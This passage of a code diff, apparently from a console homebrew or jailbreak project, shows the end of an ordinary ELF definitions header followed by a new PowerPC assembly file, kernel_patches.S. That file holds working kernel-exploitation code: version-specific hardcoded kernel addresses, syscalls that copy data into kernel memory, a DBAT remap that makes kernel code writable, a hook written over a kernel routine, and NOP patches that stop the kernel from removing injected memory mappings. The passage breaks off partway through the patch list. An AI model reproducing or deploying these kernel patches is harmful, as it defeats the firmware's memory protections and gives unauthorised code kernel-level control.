#define SHT_HIOS 0x6fffffff /* End OS-specific */
|
||||||
|
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
|
||||||
|
#define SHT_HIPROC 0x7fffffff /* specific section header types */
|
||||||
|
#define SHT_LOUSER 0x80000000 /* reserved range for application */
|
||||||
|
#define SHT_HIUSER 0xffffffff /* specific indexes */
|
||||||
|
|
||||||
|
/* Section names */
|
||||||
|
#define ELF_BSS ".bss" /* uninitialized data */
|
||||||
|
#define ELF_COMMENT ".comment" /* version control information */
|
||||||
|
#define ELF_DATA ".data" /* initialized data */
|
||||||
|
#define ELF_DATA1 ".data1" /* initialized data */
|
||||||
|
#define ELF_DEBUG ".debug" /* debug */
|
||||||
|
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
|
||||||
|
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
|
||||||
|
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
|
||||||
|
#define ELF_FINI ".fini" /* termination code */
|
||||||
|
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
|
||||||
|
#define ELF_GOT ".got" /* global offset table */
|
||||||
|
#define ELF_HASH ".hash" /* symbol hash table */
|
||||||
|
#define ELF_INIT ".init" /* initialization code */
|
||||||
|
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
|
||||||
|
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
|
||||||
|
#define ELF_LINE ".line" /* Symbolic line numnber information */
|
||||||
|
#define ELF_NOTE ".note" /* Contains note section */
|
||||||
|
#define ELF_PLT ".plt" /* Procedure linkage table */
|
||||||
|
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
|
||||||
|
#define ELF_REL_DATA ".rel.data" /* relocation data */
|
||||||
|
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
|
||||||
|
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
|
||||||
|
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
|
||||||
|
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
|
||||||
|
#define ELF_REL_TEXT ".rel.text" /* relocation code */
|
||||||
|
#define ELF_RODATA ".rodata" /* read-only data */
|
||||||
|
#define ELF_RODATA1 ".rodata1" /* read-only data */
|
||||||
|
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
|
||||||
|
#define ELF_STRTAB ".strtab" /* string table */
|
||||||
|
#define ELF_SYMTAB ".symtab" /* symbol table */
|
||||||
|
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
|
||||||
|
#define ELF_TBSS ".tbss" /* thread local uninit data */
|
||||||
|
#define ELF_TDATA ".tdata" /* thread local init data */
|
||||||
|
#define ELF_TDATA1 ".tdata1" /* thread local init data */
|
||||||
|
#define ELF_TEXT ".text" /* code */
|
||||||
|
|
||||||
|
/* Section Attribute Flags - sh_flags */
|
||||||
|
#define SHF_WRITE 0x1 /* Writable */
|
||||||
|
#define SHF_ALLOC 0x2 /* occupies memory */
|
||||||
|
#define SHF_EXECINSTR 0x4 /* executable */
|
||||||
|
#define SHF_MERGE 0x10 /* Might be merged */
|
||||||
|
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
|
||||||
|
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
|
||||||
|
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
|
||||||
|
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
|
||||||
|
#define SHF_GROUP 0x200 /* Member of section group */
|
||||||
|
#define SHF_TLS 0x400 /* Thread local storage */
|
||||||
|
#define SHF_MASKOS 0x0ff00000 /* OS specific */
|
||||||
|
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||||
|
/* specific section attributes */
|
||||||
|
|
||||||
|
/* Section Group Flags */
|
||||||
|
#define GRP_COMDAT 0x1 /* COMDAT group */
|
||||||
|
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
|
||||||
|
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
|
||||||
|
|
||||||
|
/* Symbol Table Entry */
|
||||||
|
typedef struct elf32_sym {
|
||||||
|
Elf32_Word st_name; /* name - index into string table */
|
||||||
|
Elf32_Addr st_value; /* symbol value */
|
||||||
|
Elf32_Word st_size; /* symbol size */
|
||||||
|
unsigned char st_info; /* type and binding */
|
||||||
|
unsigned char st_other; /* 0 - no defined meaning */
|
||||||
|
Elf32_Half st_shndx; /* section header index */
|
||||||
|
} Elf32_Sym;
|
||||||
|
|
||||||
|
/* Symbol table index */
|
||||||
|
#define STN_UNDEF 0 /* undefined */
|
||||||
|
|
||||||
|
/* Extract symbol info - st_info */
|
||||||
|
#define ELF32_ST_BIND(x) ((x) >> 4)
|
||||||
|
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
|
||||||
|
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
|
||||||
|
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
|
||||||
|
|
||||||
|
/* Symbol Binding - ELF32_ST_BIND - st_info */
|
||||||
|
#define STB_LOCAL 0 /* Local symbol */
|
||||||
|
#define STB_GLOBAL 1 /* Global symbol */
|
||||||
|
#define STB_WEAK 2 /* like global - lower precedence */
|
||||||
|
#define STB_NUM 3 /* number of symbol bindings */
|
||||||
|
#define STB_LOOS 10 /* reserved range for operating */
|
||||||
|
#define STB_HIOS 12 /* system specific symbol bindings */
|
||||||
|
#define STB_LOPROC 13 /* reserved range for processor */
|
||||||
|
#define STB_HIPROC 15 /* specific symbol bindings */
|
||||||
|
|
||||||
|
/* Symbol type - ELF32_ST_TYPE - st_info */
|
||||||
|
#define STT_NOTYPE 0 /* not specified */
|
||||||
|
#define STT_OBJECT 1 /* data object */
|
||||||
|
#define STT_FUNC 2 /* function */
|
||||||
|
#define STT_SECTION 3 /* section */
|
||||||
|
#define STT_FILE 4 /* file */
|
||||||
|
#define STT_NUM 5 /* number of symbol types */
|
||||||
|
#define STT_TLS 6 /* Thread local storage symbol */
|
||||||
|
#define STT_LOOS 10 /* reserved range for operating */
|
||||||
|
#define STT_HIOS 12 /* system specific symbol types */
|
||||||
|
#define STT_LOPROC 13 /* reserved range for processor */
|
||||||
|
#define STT_HIPROC 15 /* specific symbol types */
|
||||||
|
|
||||||
|
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
|
||||||
|
#define STV_DEFAULT 0 /* Normal visibility rules */
|
||||||
|
#define STV_INTERNAL 1 /* Processor specific hidden class */
|
||||||
|
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
|
||||||
|
#define STV_PROTECTED 3 /* Not preemptible, not exported */
|
||||||
|
|
||||||
|
|
||||||
|
/* Relocation entry with implicit addend */
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
Elf32_Addr r_offset; /* offset of relocation */
|
||||||
|
Elf32_Word r_info; /* symbol table index and type */
|
||||||
|
} Elf32_Rel;
|
||||||
|
|
||||||
|
/* Relocation entry with explicit addend */
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
Elf32_Addr r_offset; /* offset of relocation */
|
||||||
|
Elf32_Word r_info; /* symbol table index and type */
|
||||||
|
Elf32_Sword r_addend;
|
||||||
|
} Elf32_Rela;
|
||||||
|
|
||||||
|
/* Extract relocation info - r_info */
|
||||||
|
#define ELF32_R_SYM(i) ((i) >> 8)
|
||||||
|
#define ELF32_R_TYPE(i) ((unsigned char) (i))
|
||||||
|
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
|
||||||
|
|
||||||
|
/* Program Header */
|
||||||
|
typedef struct {
|
||||||
|
Elf32_Word p_type; /* segment type */
|
||||||
|
Elf32_Off p_offset; /* segment offset */
|
||||||
|
Elf32_Addr p_vaddr; /* virtual address of segment */
|
||||||
|
Elf32_Addr p_paddr; /* physical address - ignored? */
|
||||||
|
Elf32_Word p_filesz; /* number of bytes in file for seg. */
|
||||||
|
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
|
||||||
|
Elf32_Word p_flags; /* flags */
|
||||||
|
Elf32_Word p_align; /* memory alignment */
|
||||||
|
} Elf32_Phdr;
|
||||||
|
|
||||||
|
/* Segment types - p_type */
|
||||||
|
#define PT_NULL 0 /* unused */
|
||||||
|
#define PT_LOAD 1 /* loadable segment */
|
||||||
|
#define PT_DYNAMIC 2 /* dynamic linking section */
|
||||||
|
#define PT_INTERP 3 /* the RTLD */
|
||||||
|
#define PT_NOTE 4 /* auxiliary information */
|
||||||
|
#define PT_SHLIB 5 /* reserved - purpose undefined */
|
||||||
|
#define PT_PHDR 6 /* program header */
|
||||||
|
#define PT_TLS 7 /* Thread local storage template */
|
||||||
|
#define PT_NUM 8 /* Number of segment types */
|
||||||
|
#define PT_LOOS 0x60000000 /* reserved range for operating */
|
||||||
|
#define PT_HIOS 0x6fffffff /* system specific segment types */
|
||||||
|
#define PT_LOPROC 0x70000000 /* reserved range for processor */
|
||||||
|
#define PT_HIPROC 0x7fffffff /* specific segment types */
|
||||||
|
|
||||||
|
/* Segment flags - p_flags */
|
||||||
|
#define PF_X 0x1 /* Executable */
|
||||||
|
#define PF_W 0x2 /* Writable */
|
||||||
|
#define PF_R 0x4 /* Readable */
|
||||||
|
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
|
||||||
|
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||||
|
/* specific segment flags */
|
||||||
|
/* Dynamic structure */
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
Elf32_Sword d_tag; /* controls meaning of d_val */
|
||||||
|
union
|
||||||
|
{
|
||||||
|
Elf32_Word d_val; /* Multiple meanings - see d_tag */
|
||||||
|
Elf32_Addr d_ptr; /* program virtual address */
|
||||||
|
} d_un;
|
||||||
|
} Elf32_Dyn;
|
||||||
|
|
||||||
|
extern Elf32_Dyn _DYNAMIC[];
|
||||||
|
|
||||||
|
/* Dynamic Array Tags - d_tag */
|
||||||
|
#define DT_NULL 0 /* marks end of _DYNAMIC array */
|
||||||
|
#define DT_NEEDED 1 /* string table offset of needed lib */
|
||||||
|
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
|
||||||
|
#define DT_PLTGOT 3 /* address PLT/GOT */
|
||||||
|
#define DT_HASH 4 /* address of symbol hash table */
|
||||||
|
#define DT_STRTAB 5 /* address of string table */
|
||||||
|
#define DT_SYMTAB 6 /* address of symbol table */
|
||||||
|
#define DT_RELA 7 /* address of relocation table */
|
||||||
|
#define DT_RELASZ 8 /* size of relocation table */
|
||||||
|
#define DT_RELAENT 9 /* size of relocation entry */
|
||||||
|
#define DT_STRSZ 10 /* size of string table */
|
||||||
|
#define DT_SYMENT 11 /* size of symbol table entry */
|
||||||
|
#define DT_INIT 12 /* address of initialization func. */
|
||||||
|
#define DT_FINI 13 /* address of termination function */
|
||||||
|
#define DT_SONAME 14 /* string table offset of shared obj */
|
||||||
|
#define DT_RPATH 15 /* string table offset of library
|
||||||
|
search path */
|
||||||
|
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
|
||||||
|
#define DT_REL 17 /* address of rel. tbl. w addends */
|
||||||
|
#define DT_RELSZ 18 /* size of DT_REL relocation table */
|
||||||
|
#define DT_RELENT 19 /* size of DT_REL relocation entry */
|
||||||
|
#define DT_PLTREL 20 /* PLT referenced relocation entry */
|
||||||
|
#define DT_DEBUG 21 /* bugger */
|
||||||
|
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
|
||||||
|
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
|
||||||
|
#define DT_BIND_NOW 24 /* Process relocations of object */
|
||||||
|
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
|
||||||
|
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
|
||||||
|
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
|
||||||
|
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
|
||||||
|
#define DT_RUNPATH 29 /* Library search path */
|
||||||
|
#define DT_FLAGS 30 /* Flags for the object being loaded */
|
||||||
|
#define DT_ENCODING 32 /* Start of encoded range */
|
||||||
|
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
|
||||||
|
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
|
||||||
|
#define DT_NUM 34 /* Number used. */
|
||||||
|
#define DT_LOOS 0x60000000 /* reserved range for OS */
|
||||||
|
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
|
||||||
|
#define DT_LOPROC 0x70000000 /* reserved range for processor */
|
||||||
|
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
|
||||||
|
|
||||||
|
/* Dynamic Tag Flags - d_un.d_val */
|
||||||
|
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
|
||||||
|
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
|
||||||
|
#define DF_TEXTREL 0x04 /* Object contains text relocations */
|
||||||
|
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
|
||||||
|
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
|
||||||
|
|
||||||
|
/* Standard ELF hashing function */
|
||||||
|
unsigned long elf_hash(const unsigned char *name);
|
||||||
|
|
||||||
|
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* XXX - PowerPC defines really don't belong in here,
|
||||||
|
* but we'll put them in for simplicity.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Values for Elf32/64_Ehdr.e_flags. */
|
||||||
|
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
|
||||||
|
|
||||||
|
/* Cygnus local bits below */
|
||||||
|
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
|
||||||
|
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
|
||||||
|
flag */
|
||||||
|
|
||||||
|
/* PowerPC relocations defined by the ABIs */
|
||||||
|
#define R_PPC_NONE 0
|
||||||
|
#define R_PPC_ADDR32 1 /* 32bit absolute address */
|
||||||
|
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
|
||||||
|
#define R_PPC_ADDR16 3 /* 16bit absolute address */
|
||||||
|
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
|
||||||
|
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
|
||||||
|
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
|
||||||
|
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
|
||||||
|
#define R_PPC_ADDR14_BRTAKEN 8
|
||||||
|
#define R_PPC_ADDR14_BRNTAKEN 9
|
||||||
|
#define R_PPC_REL24 10 /* PC relative 26 bit */
|
||||||
|
#define R_PPC_REL14 11 /* PC relative 16 bit */
|
||||||
|
#define R_PPC_REL14_BRTAKEN 12
|
||||||
|
#define R_PPC_REL14_BRNTAKEN 13
|
||||||
|
#define R_PPC_GOT16 14
|
||||||
|
#define R_PPC_GOT16_LO 15
|
||||||
|
#define R_PPC_GOT16_HI 16
|
||||||
|
#define R_PPC_GOT16_HA 17
|
||||||
|
#define R_PPC_PLTREL24 18
|
||||||
|
#define R_PPC_COPY 19
|
||||||
|
#define R_PPC_GLOB_DAT 20
|
||||||
|
#define R_PPC_JMP_SLOT 21
|
||||||
|
#define R_PPC_RELATIVE 22
|
||||||
|
#define R_PPC_LOCAL24PC 23
|
||||||
|
#define R_PPC_UADDR32 24
|
||||||
|
#define R_PPC_UADDR16 25
|
||||||
|
#define R_PPC_REL32 26
|
||||||
|
#define R_PPC_PLT32 27
|
||||||
|
#define R_PPC_PLTREL32 28
|
||||||
|
#define R_PPC_PLT16_LO 29
|
||||||
|
#define R_PPC_PLT16_HI 30
|
||||||
|
#define R_PPC_PLT16_HA 31
|
||||||
|
#define R_PPC_SDAREL16 32
|
||||||
|
#define R_PPC_SECTOFF 33
|
||||||
|
#define R_PPC_SECTOFF_LO 34
|
||||||
|
#define R_PPC_SECTOFF_HI 35
|
||||||
|
#define R_PPC_SECTOFF_HA 36
|
||||||
|
/* Keep this the last entry. */
|
||||||
|
#define R_PPC_NUM 37
|
||||||
|
|
||||||
|
/* The remaining relocs are from the Embedded ELF ABI, and are not
|
||||||
|
in the SVR4 ELF ABI. */
|
||||||
|
#define R_PPC_EMB_NADDR32 101
|
||||||
|
#define R_PPC_EMB_NADDR16 102
|
||||||
|
#define R_PPC_EMB_NADDR16_LO 103
|
||||||
|
#define R_PPC_EMB_NADDR16_HI 104
|
||||||
|
#define R_PPC_EMB_NADDR16_HA 105
|
||||||
|
#define R_PPC_EMB_SDAI16 106
|
||||||
|
#define R_PPC_EMB_SDA2I16 107
|
||||||
|
#define R_PPC_EMB_SDA2REL 108
|
||||||
|
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
|
||||||
|
#define R_PPC_EMB_MRKREF 110
|
||||||
|
#define R_PPC_EMB_RELSEC16 111
|
||||||
|
#define R_PPC_EMB_RELST_LO 112
|
||||||
|
#define R_PPC_EMB_RELST_HI 113
|
||||||
|
#define R_PPC_EMB_RELST_HA 114
|
||||||
|
#define R_PPC_EMB_BIT_FLD 115
|
||||||
|
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
|
||||||
|
|
||||||
|
/* Diab tool relocations. */
|
||||||
|
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
|
||||||
|
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
|
||||||
|
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
|
||||||
|
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
|
||||||
|
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
|
||||||
|
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
|
||||||
|
|
||||||
|
/* This is a phony reloc to handle any old fashioned TOC16 references
|
||||||
|
that may still be in object files. */
|
||||||
|
#define R_PPC_TOC16 255
|
||||||
|
|
||||||
|
#endif /* _ELF_H */
|
269
installer/kernel_patches.S
Normal file
269
installer/kernel_patches.S
Normal file
@ -0,0 +1,269 @@
|
|||||||
|
#if (VER == 550)
|
||||||
|
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
|
||||||
|
# not all of those NOP address are required for every firmware
|
||||||
|
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
|
||||||
|
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
|
||||||
|
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
|
||||||
|
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||||
|
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||||
|
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
|
||||||
|
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
|
||||||
|
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
|
||||||
|
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
|
||||||
|
|
||||||
|
#elif ((VER == 532) || (VER == 540))
|
||||||
|
#define BAT_SETUP_HOOK_ADDR 0xFFF1D638
|
||||||
|
|
||||||
|
# not all of those NOP address are required for every firmware
|
||||||
|
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
|
||||||
|
#define BAT_SET_NOP_ADDR_1 0xFFF06A14
|
||||||
|
#define BAT_SET_NOP_ADDR_2 0xFFF06AA0
|
||||||
|
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||||
|
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||||
|
#define BAT_SET_NOP_ADDR_5 0xFFF1D720
|
||||||
|
#define BAT_SET_NOP_ADDR_6 0xFFF1D73C
|
||||||
|
#define BAT_SET_NOP_ADDR_7 0xFFF1D840
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
|
||||||
|
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
|
||||||
|
|
||||||
|
#elif ((VER == 500) || (VER == 510))
|
||||||
|
#define BAT_SETUP_HOOK_ADDR 0xFFF1D518
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_1 0xFFF0697C
|
||||||
|
#define BAT_SET_NOP_ADDR_2 0xFFF06A08
|
||||||
|
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||||
|
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||||
|
#define BAT_SET_NOP_ADDR_5 0xFFF1D600
|
||||||
|
#define BAT_SET_NOP_ADDR_6 0xFFF1D61C
|
||||||
|
#define BAT_SET_NOP_ADDR_7 0xFFF1D720
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
|
||||||
|
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
|
||||||
|
#elif VER == 410
|
||||||
|
#define BAT_SETUP_HOOK_ADDR 0xFFF1AD00
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_1 0xFFF06708
|
||||||
|
#define BAT_SET_NOP_ADDR_2 0xFFF06794
|
||||||
|
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||||
|
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||||
|
#define BAT_SET_NOP_ADDR_5 0xFFF1ADE8
|
||||||
|
#define BAT_SET_NOP_ADDR_6 0xFFF1AE04
|
||||||
|
#define BAT_SET_NOP_ADDR_7 0xFFF1AF08
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
|
||||||
|
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
|
||||||
|
#elif VER == 400
|
||||||
|
#define BAT_SETUP_HOOK_ADDR 0xFFF1A440
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_1 0xFFF066FC
|
||||||
|
#define BAT_SET_NOP_ADDR_2 0xFFF06788
|
||||||
|
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||||
|
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||||
|
#define BAT_SET_NOP_ADDR_5 0xFFF1A528
|
||||||
|
#define BAT_SET_NOP_ADDR_6 0xFFF1A544
|
||||||
|
//define BAT_SET_NOP_ADDR_7 not present in 400
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_8 0xFFEE0F50
|
||||||
|
#define BAT_SET_NOP_ADDR_9 0xFFEE0F54
|
||||||
|
#else
|
||||||
|
#error Please define valid values for kernel setup.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef USE_SD_LOADER
|
||||||
|
#define BAT_SETUP_HOOK_ENTRY 0x00800000
|
||||||
|
#else
|
||||||
|
#define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define BAT4U_VAL 0x008000FF
|
||||||
|
#if VER >= 410
|
||||||
|
#define BAT4L_VAL 0x30800012
|
||||||
|
#elif VER == 400
|
||||||
|
#define BAT4L_VAL 0x4E800012
|
||||||
|
#else
|
||||||
|
#error Please define valid value for firmware setup.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define SET_R4_TO_ADDR(addr) \
|
||||||
|
lis r3, addr@h ; \
|
||||||
|
ori r3, r3, addr@l ; \
|
||||||
|
stw r4, 0(r3) ; \
|
||||||
|
dcbf 0, r3 ; \
|
||||||
|
icbi 0, r3 ;
|
||||||
|
|
||||||
|
.globl SC_0x25_KernelCopyData
|
||||||
|
SC_0x25_KernelCopyData:
|
||||||
|
li r0, 0x2500
|
||||||
|
sc
|
||||||
|
blr
|
||||||
|
|
||||||
|
.globl Syscall_0x36
|
||||||
|
Syscall_0x36:
|
||||||
|
mflr r0
|
||||||
|
stwu r1, -0x10(r1)
|
||||||
|
stw r30, 0x4(r1)
|
||||||
|
stw r31, 0x8(r1)
|
||||||
|
mr r5, r0
|
||||||
|
mr r6, r1
|
||||||
|
li r0, 0x3600
|
||||||
|
sc
|
||||||
|
nop
|
||||||
|
mr r0, r5
|
||||||
|
mr r1, r6
|
||||||
|
lwz r30, 0x04(r1)
|
||||||
|
lwz r31, 0x08(r1)
|
||||||
|
addi r1, r1, 0x10
|
||||||
|
mtlr r0
|
||||||
|
blr
|
||||||
|
|
||||||
|
.globl KernelPatches
|
||||||
|
KernelPatches:
|
||||||
|
# store the old DBAT0
|
||||||
|
mfdbatu r30, 0
|
||||||
|
mfdbatl r31, 0
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# setup DBAT0 for access to kernel code memory
|
||||||
|
lis r3, 0xFFF0
|
||||||
|
ori r3, r3, 0x0002
|
||||||
|
mtdbatu 0, r3
|
||||||
|
lis r3, 0xFFF0
|
||||||
|
ori r3, r3, 0x0032
|
||||||
|
mtdbatl 0, r3
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though
|
||||||
|
# just chosen because its simple
|
||||||
|
lis r3, BAT_SETUP_HOOK_ADDR@h
|
||||||
|
ori r3, r3, BAT_SETUP_HOOK_ADDR@l
|
||||||
|
|
||||||
|
# make the kernel setup our section in IBAT4 and
|
||||||
|
# jump to our function to restore the replaced instructions
|
||||||
|
lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h
|
||||||
|
ori r4, r4, BAT4L_VAL@h
|
||||||
|
stw r4, 0x00(r3)
|
||||||
|
lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l
|
||||||
|
ori r4, r4, BAT4L_VAL@l
|
||||||
|
stw r4, 0x04(r3)
|
||||||
|
lis r4, 0x7cf1 # mtspr 561, r7
|
||||||
|
ori r4, r4, 0x8ba6
|
||||||
|
stw r4, 0x08(r3)
|
||||||
|
lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h
|
||||||
|
ori r4, r4, BAT4U_VAL@h
|
||||||
|
stw r4, 0x0C(r3)
|
||||||
|
lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l
|
||||||
|
ori r4, r4, BAT4U_VAL@l
|
||||||
|
stw r4, 0x10(r3)
|
||||||
|
lis r4, 0x7cf0 # mtspr 560, r7
|
||||||
|
ori r4, r4, 0x8ba6
|
||||||
|
stw r4, 0x14(r3)
|
||||||
|
lis r4, 0x7c00 # eieio
|
||||||
|
ori r4, r4, 0x06ac
|
||||||
|
stw r4, 0x18(r3)
|
||||||
|
lis r4, 0x4c00 # isync
|
||||||
|
ori r4, r4, 0x012c
|
||||||
|
stw r4, 0x1C(r3)
|
||||||
|
lis r4, 0x7ce8 # mflr r7
|
||||||
|
ori r4, r4, 0x02a6
|
||||||
|
stw r4, 0x20(r3)
|
||||||
|
lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY
|
||||||
|
ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l
|
||||||
|
stw r4, 0x24(r3)
|
||||||
|
|
||||||
|
# flush and invalidate the replaced instructions
|
||||||
|
lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h
|
||||||
|
ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l
|
||||||
|
dcbf 0, r3
|
||||||
|
icbi 0, r3
|
||||||
|
lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h
|
||||||
|
ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l
|
||||||
|
dcbf 0, r3
|
||||||
|
icbi 0, r3
|
||||||
|
sync
|
||||||
|
|
||||||
|
# setup IBAT4 for core 1 at this position (not really required but wont hurt)
|
||||||
|
# IBATL 4
|
||||||
|
lis r3, BAT4L_VAL@h
|
||||||
|
ori r3, r3, BAT4L_VAL@l
|
||||||
|
mtspr 561, r3
|
||||||
|
|
||||||
|
# IBATU 4
|
||||||
|
lis r3, BAT4U_VAL@h
|
||||||
|
ori r3, r3, BAT4U_VAL@l
|
||||||
|
mtspr 560, r3
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# write "nop" to some positions
|
||||||
|
lis r4, 0x6000
|
||||||
|
# nop on IBATU 4 and DBAT 5 set/reset
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_1
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_2
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_3
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_4
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_5
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_6
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6)
|
||||||
|
